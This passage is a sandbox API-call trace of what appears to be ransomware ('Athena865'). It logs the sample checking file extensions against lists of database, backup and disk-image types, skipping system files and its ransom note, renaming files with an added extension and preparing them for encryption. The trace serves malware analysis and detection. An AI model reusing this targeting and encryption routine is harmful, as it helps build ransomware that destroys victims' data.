(lpString1="dll", lpString2="4dd") returned 1 [0037.054] lstrlenW (lpString="4dl") returned 3 [0037.054] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0037.054] lstrlenW (lpString="^^^") returned 3 [0037.054] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0037.054] lstrlenW (lpString="abs") returned 3 [0037.054] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0037.054] lstrlenW (lpString="abx") returned 3 [0037.054] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0037.054] lstrlenW (lpString="accdb") returned 5 [0037.054] lstrcmpiW (lpString1="t.dll", lpString2="accdb") returned 1 [0037.055] lstrlenW (lpString="accdc") returned 5 [0037.055] lstrcmpiW (lpString1="t.dll", lpString2="accdc") returned 1 [0037.055] lstrlenW (lpString="accde") returned 5 [0037.055] lstrcmpiW (lpString1="t.dll", lpString2="accde") returned 1 [0037.055] lstrlenW (lpString="accdr") returned 5 [0037.055] lstrcmpiW (lpString1="t.dll", lpString2="accdr") returned 1 [0037.055] lstrlenW (lpString="accdt") returned 5 [0037.055] lstrcmpiW (lpString1="t.dll", lpString2="accdt") returned 1 [0037.055] lstrlenW (lpString="accdw") returned 5 [0037.055] lstrcmpiW (lpString1="t.dll", lpString2="accdw") returned 1 [0037.055] lstrlenW (lpString="accft") returned 5 [0037.055] lstrcmpiW (lpString1="t.dll", lpString2="accft") returned 1 [0037.055] lstrlenW (lpString="adb") returned 3 [0037.055] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0037.055] lstrlenW (lpString="adb") returned 3 [0037.055] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0037.055] lstrlenW (lpString="ade") returned 3 [0037.055] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0037.055] lstrlenW (lpString="adf") returned 3 [0037.055] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0037.055] lstrlenW (lpString="adn") returned 3 [0037.055] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0037.055] lstrlenW (lpString="adp") returned 3 [0037.055] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0037.055] lstrlenW (lpString="alf") returned 3 [0037.055] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0037.055] lstrlenW (lpString="ask") returned 3 [0037.055] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0037.055] lstrlenW (lpString="btr") returned 3 [0037.055] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0037.055] lstrlenW (lpString="cat") returned 3 [0037.055] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0037.055] lstrlenW (lpString="cdb") returned 3 [0037.055] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0037.055] lstrlenW (lpString="ckp") returned 3 [0037.055] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0037.055] lstrlenW (lpString="cma") returned 3 [0037.055] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0037.056] lstrlenW (lpString="cpd") returned 3 [0037.056] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0037.056] lstrlenW (lpString="dacpac") returned 6 [0037.056] lstrcmpiW (lpString1="ct.dll", lpString2="dacpac") returned -1 [0037.056] lstrlenW (lpString="dad") returned 3 [0037.056] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0037.056] lstrlenW (lpString="dadiagrams") returned 10 [0037.056] lstrcmpiW (lpString1="roject.dll", lpString2="dadiagrams") returned 1 [0037.056] lstrlenW (lpString="daschema") returned 8 [0037.056] lstrcmpiW (lpString1="ject.dll", lpString2="daschema") returned 1 [0037.056] lstrlenW (lpString="db-journal") returned 10 [0037.056] lstrcmpiW (lpString1="roject.dll", lpString2="db-journal") returned 1 [0037.056] lstrlenW (lpString="db-shm") returned 6 [0037.056] lstrcmpiW (lpString1="ct.dll", lpString2="db-shm") returned -1 [0037.056] lstrlenW (lpString="db-wal") returned 6 [0037.056] lstrcmpiW (lpString1="ct.dll", lpString2="db-wal") returned -1 [0037.056] lstrlenW (lpString="dbc") returned 3 [0037.056] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0037.056] lstrlenW (lpString="dbs") returned 3 [0037.056] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0037.056] lstrlenW (lpString="dbt") returned 3 [0037.056] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0037.056] lstrlenW (lpString="dbv") returned 3 [0037.056] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0037.056] lstrlenW (lpString="dbx") returned 3 [0037.056] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0037.056] lstrlenW (lpString="dcb") returned 3 [0037.056] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0037.056] lstrlenW (lpString="dct") returned 3 [0037.056] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0037.056] lstrlenW (lpString="dcx") returned 3 [0037.056] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0037.056] lstrlenW (lpString="ddl") returned 3 [0037.056] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0037.056] lstrlenW (lpString="dlis") returned 4 [0037.056] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0037.056] lstrlenW (lpString="dp1") returned 3 [0037.056] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0037.056] lstrlenW (lpString="dqy") returned 3 [0037.057] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0037.057] lstrlenW (lpString="dsk") returned 3 [0037.057] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0037.057] lstrlenW (lpString="dsn") returned 3 [0037.057] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0037.057] lstrlenW (lpString="dtsx") returned 4 [0037.057] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0037.057] lstrlenW (lpString="dxl") returned 3 [0037.057] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0037.057] lstrlenW (lpString="eco") returned 3 [0037.057] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0037.057] lstrlenW (lpString="ecx") returned 3 [0037.057] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0037.057] lstrlenW (lpString="edb") returned 3 [0037.057] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0037.057] lstrlenW (lpString="epim") returned 4 [0037.057] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0037.057] lstrlenW (lpString="fcd") returned 3 [0037.057] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0037.057] lstrlenW (lpString="fdb") returned 3 [0037.057] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0037.057] lstrlenW (lpString="fic") returned 3 [0037.057] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0037.057] lstrlenW (lpString="flexolibrary") returned 12 [0037.057] lstrcmpiW (lpString1="dProject.dll", lpString2="flexolibrary") returned -1 [0037.057] lstrlenW (lpString="fm5") returned 3 [0037.057] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0037.057] lstrlenW (lpString="fmp") returned 3 [0037.057] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0037.057] lstrlenW (lpString="fmp12") returned 5 [0037.057] lstrcmpiW (lpString1="t.dll", lpString2="fmp12") returned 1 [0037.057] lstrlenW (lpString="fmpsl") returned 5 [0037.057] lstrcmpiW (lpString1="t.dll", lpString2="fmpsl") returned 1 [0037.057] lstrlenW (lpString="fol") returned 3 [0037.057] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0037.057] lstrlenW (lpString="fp3") returned 3 [0037.057] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0037.057] lstrlenW (lpString="fp4") returned 3 [0037.057] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0037.058] lstrlenW (lpString="fp5") returned 3 [0037.058] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0037.058] lstrlenW (lpString="fp7") returned 3 [0037.058] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0037.058] lstrlenW (lpString="fpt") returned 3 [0037.058] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0037.058] lstrlenW (lpString="frm") returned 3 [0037.058] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0037.058] lstrlenW (lpString="gdb") returned 3 [0037.058] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0037.058] lstrlenW (lpString="gdb") returned 3 [0037.058] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0037.058] lstrlenW (lpString="grdb") returned 4 [0037.058] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0037.058] lstrlenW (lpString="gwi") returned 3 [0037.058] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0037.058] lstrlenW (lpString="hdb") returned 3 [0037.058] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0037.058] lstrlenW (lpString="his") returned 3 [0037.058] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0037.058] lstrlenW (lpString="ib") returned 2 [0037.058] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0037.058] lstrlenW (lpString="idb") returned 3 [0037.058] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0037.058] lstrlenW (lpString="ihx") returned 3 [0037.058] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0037.058] lstrlenW (lpString="itdb") returned 4 [0037.058] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0037.058] lstrlenW (lpString="itw") returned 3 [0037.058] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0037.058] lstrlenW (lpString="jet") returned 3 [0037.058] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0037.058] lstrlenW (lpString="jtx") returned 3 [0037.058] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0037.058] lstrlenW (lpString="kdb") returned 3 [0037.058] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0037.058] lstrlenW (lpString="kexi") returned 4 [0037.058] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0037.059] lstrlenW (lpString="kexic") returned 5 [0037.059] lstrcmpiW (lpString1="t.dll", lpString2="kexic") returned 1 [0037.059] lstrlenW (lpString="kexis") returned 5 [0037.059] lstrcmpiW (lpString1="t.dll", lpString2="kexis") returned 1 [0037.059] lstrlenW (lpString="lgc") returned 3 [0037.059] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0037.059] lstrlenW (lpString="lwx") returned 3 [0037.059] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0037.059] lstrlenW (lpString="maf") returned 3 [0037.059] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0037.059] lstrlenW (lpString="maq") returned 3 [0037.059] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0037.059] lstrlenW (lpString="mar") returned 3 [0037.059] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0037.059] lstrlenW (lpString="marshal") returned 7 [0037.059] lstrcmpiW (lpString1="ect.dll", lpString2="marshal") returned -1 [0037.059] lstrlenW (lpString="mas") returned 3 [0037.059] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0037.059] lstrlenW (lpString="mav") returned 3 [0037.059] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0037.059] lstrlenW (lpString="maw") returned 3 [0037.059] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0037.059] lstrlenW (lpString="mdbhtml") returned 7 [0037.059] lstrcmpiW (lpString1="ect.dll", lpString2="mdbhtml") returned -1 [0037.059] lstrlenW (lpString="mdn") returned 3 [0037.059] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0037.059] lstrlenW (lpString="mdt") returned 3 [0037.059] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0037.059] lstrlenW (lpString="mfd") returned 3 [0037.059] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0037.059] lstrlenW (lpString="mpd") returned 3 [0037.059] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0037.059] lstrlenW (lpString="mrg") returned 3 [0037.059] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0037.059] lstrlenW (lpString="mud") returned 3 [0037.059] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0037.059] lstrlenW (lpString="mwb") returned 3 [0037.060] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0037.060] lstrlenW (lpString="myd") returned 3 [0037.060] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0037.060] lstrlenW (lpString="ndf") returned 3 [0037.060] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0037.060] lstrlenW (lpString="nnt") returned 3 [0037.060] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0037.060] lstrlenW (lpString="nrmlib") returned 6 [0037.060] lstrcmpiW (lpString1="ct.dll", lpString2="nrmlib") returned -1 [0037.060] lstrlenW (lpString="ns2") returned 3 [0037.060] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0037.060] lstrlenW (lpString="ns3") returned 3 [0037.060] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0037.060] lstrlenW (lpString="ns4") returned 3 [0037.060] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0037.060] lstrlenW (lpString="nsf") returned 3 [0037.060] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0037.060] lstrlenW (lpString="nv") returned 2 [0037.060] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0037.060] lstrlenW (lpString="nv2") returned 3 [0037.060] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0037.060] lstrlenW (lpString="nwdb") returned 4 [0037.060] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0037.060] lstrlenW (lpString="nyf") returned 3 [0037.060] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0037.060] lstrlenW (lpString="odb") returned 3 [0037.060] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0037.060] lstrlenW (lpString="odb") returned 3 [0037.060] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0037.060] lstrlenW (lpString="oqy") returned 3 [0037.060] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0037.060] lstrlenW (lpString="ora") returned 3 [0037.060] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0037.060] lstrlenW (lpString="orx") returned 3 [0037.060] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0037.060] lstrlenW (lpString="owc") returned 3 [0037.060] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0037.061] lstrlenW (lpString="p96") returned 3 [0037.061] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0037.061] lstrlenW (lpString="p97") returned 3 [0037.061] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0037.061] lstrlenW (lpString="pan") returned 3 [0037.061] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0037.061] lstrlenW (lpString="pdb") returned 3 [0037.061] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0037.061] lstrlenW (lpString="pdm") returned 3 [0037.061] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0037.061] lstrlenW (lpString="pnz") returned 3 [0037.061] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0037.061] lstrlenW (lpString="qry") returned 3 [0037.061] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0037.061] lstrlenW (lpString="qvd") returned 3 [0037.061] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0037.061] lstrlenW (lpString="rbf") returned 3 [0037.061] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0037.061] lstrlenW (lpString="rctd") returned 4 [0037.061] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0037.061] lstrlenW (lpString="rod") returned 3 [0037.061] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0037.061] lstrlenW (lpString="rodx") returned 4 [0037.061] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0037.061] lstrlenW (lpString="rpd") returned 3 [0037.061] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0037.061] lstrlenW (lpString="rsd") returned 3 [0037.061] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0037.061] lstrlenW (lpString="sas7bdat") returned 8 [0037.061] lstrcmpiW (lpString1="ject.dll", lpString2="sas7bdat") returned -1 [0037.061] lstrlenW (lpString="sbf") returned 3 [0037.061] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0037.061] lstrlenW (lpString="scx") returned 3 [0037.061] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0037.061] lstrlenW (lpString="sdb") returned 3 [0037.061] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0037.061] lstrlenW (lpString="sdc") returned 3 [0037.062] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0037.062] lstrlenW (lpString="sdf") returned 3 [0037.062] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0037.062] lstrlenW (lpString="sis") returned 3 [0037.062] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0037.062] lstrlenW (lpString="spq") returned 3 [0037.062] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0037.062] lstrlenW (lpString="te") returned 2 [0037.062] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0037.062] lstrlenW (lpString="teacher") returned 7 [0037.062] lstrcmpiW (lpString1="ect.dll", lpString2="teacher") returned -1 [0037.062] lstrlenW (lpString="tmd") returned 3 [0037.062] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0037.062] lstrlenW (lpString="tps") returned 3 [0037.062] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0037.062] lstrlenW (lpString="trc") returned 3 [0037.062] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0037.062] lstrlenW (lpString="trc") returned 3 [0037.062] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0037.062] lstrlenW (lpString="trm") returned 3 [0037.062] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0037.062] lstrlenW (lpString="udb") returned 3 [0037.062] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0037.062] lstrlenW (lpString="udl") returned 3 [0037.062] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0037.062] lstrlenW (lpString="usr") returned 3 [0037.062] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0037.062] lstrlenW (lpString="v12") returned 3 [0037.062] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0037.062] lstrlenW (lpString="vis") returned 3 [0037.062] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0037.062] lstrlenW (lpString="vpd") returned 3 [0037.062] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0037.062] lstrlenW (lpString="vvv") returned 3 [0037.062] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0037.062] lstrlenW (lpString="wdb") returned 3 [0037.062] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0037.063] lstrlenW (lpString="wmdb") returned 4 [0037.063] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0037.063] lstrlenW (lpString="wrk") returned 3 [0037.063] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0037.063] lstrlenW (lpString="xdb") returned 3 [0037.063] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0037.063] lstrlenW (lpString="xld") returned 3 [0037.063] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0037.063] lstrlenW (lpString="xmlff") returned 5 [0037.063] lstrcmpiW (lpString1="t.dll", lpString2="xmlff") returned -1 [0037.063] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\OmdProject.dll.Athena865") returned 51 [0037.063] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\OmdProject.dll" (normalized: "c:\\program files\\dvd maker\\omdproject.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\OmdProject.dll.Athena865" (normalized: "c:\\program files\\dvd maker\\omdproject.dll.athena865"), dwFlags=0x1) returned 1 [0037.065] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\OmdProject.dll.Athena865" (normalized: "c:\\program files\\dvd maker\\omdproject.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0037.065] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4400640) returned 1 [0037.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0037.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0037.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0037.066] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0037.067] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0037.067] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.067] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x432900, lpName=0x0) returned 0x154 [0037.069] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x32900) returned 0x170000 [0037.079] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x2d50000 [0037.148] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0037.166] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0037.166] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0037.166] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0037.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0037.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0037.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0037.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0037.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0037.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0037.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0037.167] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0037.169] CloseHandle (hObject=0x154) returned 1 [0037.169] CloseHandle (hObject=0x17c) returned 1 [0037.257] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0037.257] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0037.257] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0037.265] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b6b5be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b6b5be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bb787f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pipeline.dll", cAlternateFileName="")) returned 1 [0037.265] lstrcmpiW (lpString1="Pipeline.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0037.265] lstrcmpiW (lpString1="Pipeline.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0037.265] lstrcmpiW (lpString1="Pipeline.dll", lpString2=".") returned 1 [0037.265] lstrcmpiW (lpString1="Pipeline.dll", lpString2="..") returned 1 [0037.265] lstrcmpiW (lpString1="Pipeline.dll", lpString2="windows") returned -1 [0037.266] lstrcmpiW (lpString1="Pipeline.dll", lpString2="bootmgr") returned 1 [0037.266] lstrcmpiW (lpString1="Pipeline.dll", lpString2="temp") returned -1 [0037.266] lstrcmpiW (lpString1="Pipeline.dll", lpString2="pagefile.sys") returned 1 [0037.266] lstrcmpiW (lpString1="Pipeline.dll", lpString2="boot") returned 1 [0037.266] lstrcmpiW (lpString1="Pipeline.dll", lpString2="ids.txt") returned 1 [0037.266] lstrcmpiW (lpString1="Pipeline.dll", lpString2="ntuser.dat") returned 1 [0037.266] lstrcmpiW (lpString1="Pipeline.dll", lpString2="perflogs") returned 1 [0037.266] lstrcmpiW (lpString1="Pipeline.dll", lpString2="MSBuild") returned 1 [0037.266] lstrlenW (lpString="Pipeline.dll") returned 12 [0037.266] lstrcpyW (in: lpString1=0x241e87e, lpString2="Pipeline.dll" | out: lpString1="Pipeline.dll") returned="Pipeline.dll" [0037.266] lstrlenW (lpString="Pipeline.dll") returned 12 [0037.266] lstrlenW (lpString="Athena865") returned 9 [0037.266] lstrcmpiW (lpString1="eline.dll", lpString2="Athena865") returned 1 [0037.266] lstrlenW (lpString=".dll") returned 4 [0037.266] lstrcmpiW (lpString1="Pipeline.dll", lpString2=".dll") returned 1 [0037.266] lstrlenW (lpString=".lnk") returned 4 [0037.266] lstrcmpiW (lpString1="Pipeline.dll", lpString2=".lnk") returned 1 [0037.266] lstrlenW (lpString=".ini") returned 4 [0037.266] lstrcmpiW (lpString1="Pipeline.dll", lpString2=".ini") returned 1 [0037.266] lstrlenW (lpString=".sys") returned 4 [0037.266] lstrcmpiW (lpString1="Pipeline.dll", lpString2=".sys") returned 1 [0037.266] lstrlenW (lpString="Pipeline.dll") returned 12 [0037.266] lstrlenW (lpString="bak") returned 3 [0037.266] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0037.266] lstrlenW (lpString="ba_") returned 3 [0037.266] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0037.266] lstrlenW (lpString="dbb") returned 3 [0037.266] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0037.266] lstrlenW (lpString="vmdk") returned 4 [0037.266] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0037.266] lstrlenW (lpString="rar") returned 3 [0037.266] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0037.266] lstrlenW (lpString="zip") returned 3 [0037.266] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0037.266] lstrlenW (lpString="tgz") returned 3 [0037.266] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0037.266] lstrlenW (lpString="vbox") returned 4 [0037.267] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0037.267] lstrlenW (lpString="vdi") returned 3 [0037.267] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0037.267] lstrlenW (lpString="vhd") returned 3 [0037.267] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0037.267] lstrlenW (lpString="vhdx") returned 4 [0037.267] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0037.267] lstrlenW (lpString="avhd") returned 4 [0037.267] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0037.267] lstrlenW (lpString="db") returned 2 [0037.267] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0037.267] lstrlenW (lpString="db2") returned 3 [0037.267] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0037.267] lstrlenW (lpString="db3") returned 3 [0037.267] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0037.267] lstrlenW (lpString="dbf") returned 3 [0037.267] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0037.267] lstrlenW (lpString="mdf") returned 3 [0037.267] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0037.267] 